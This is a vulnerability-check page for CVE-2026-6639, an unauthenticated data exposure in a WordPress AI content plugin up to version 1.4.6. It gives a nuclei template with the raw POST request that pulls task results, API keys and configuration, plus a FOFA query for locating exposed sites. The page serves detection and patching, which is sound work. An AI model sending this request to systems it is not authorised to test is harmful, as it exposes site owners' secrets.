AI Copilot Content Generator <=1.4.6 - Unauthenticated Task Data Exposure

highseverity

7.5CVSS score

2%likelihood of exploitation, next 30 days

81%of all CVEs are less likely

Readycheck to confirm it

AIWU AI Chatbot & Workflow Automation WordPress plugin <= 1.4.6 contains a sensitive information exposure caused by unauthenticated access to getCurrentTaskResults() method, letting unauthenticated attackers retrieve API keys and configuration data, exploit requires no authentication.

Impact

Unauthenticated attackers can access sensitive API keys and configuration data, risking data leakage and unauthorized use of services.

Fix

Update to the latest version beyond 1.4.6.

How to confirm it

Send: POST /wp-admin/admin-ajax.php
Positive when: status_code == 200 and contains(body, "\"feature\":\"magictext\"")

Run it with nuclei: nuclei -id CVE-2026-6639 -u <target>

The full check

id: CVE-2026-6639

info:
  name: AI Copilot Content Generator <=1.4.6 - Unauthenticated Task Data Exposure
  author: str4k3r
  severity: high
  description: |
    AIWU AI Chatbot & Workflow Automation WordPress plugin <= 1.4.6 contains a sensitive information exposure caused by unauthenticated access to getCurrentTaskResults() method, letting unauthenticated attackers retrieve API keys and configuration data, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can access sensitive API keys and configuration data, risking data leakage and unauthorized use of services.
  remediation: |
    Update to the latest version beyond 1.4.6.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-6639
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/247b1921-70a6-4e65-819a-2895bc395e9f?source=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-6639
    epss-score: 0.01989
    epss-percentile: 0.80805
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 1
    vendor: aiwu
    product: ai-copilot-content-generator
    fofa-query: 'body="/wp-content/plugins/ai-copilot-content-generator/"'
  tags: cve,cve2026,wordpress,wp-plugin,aiwu,ai-copilot,exposure,unauth

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=getCurrentTaskResults&pl=waic&mod=workspace&reqType=ajax&task_id=1

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "\"feature\":\"magictext\"")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from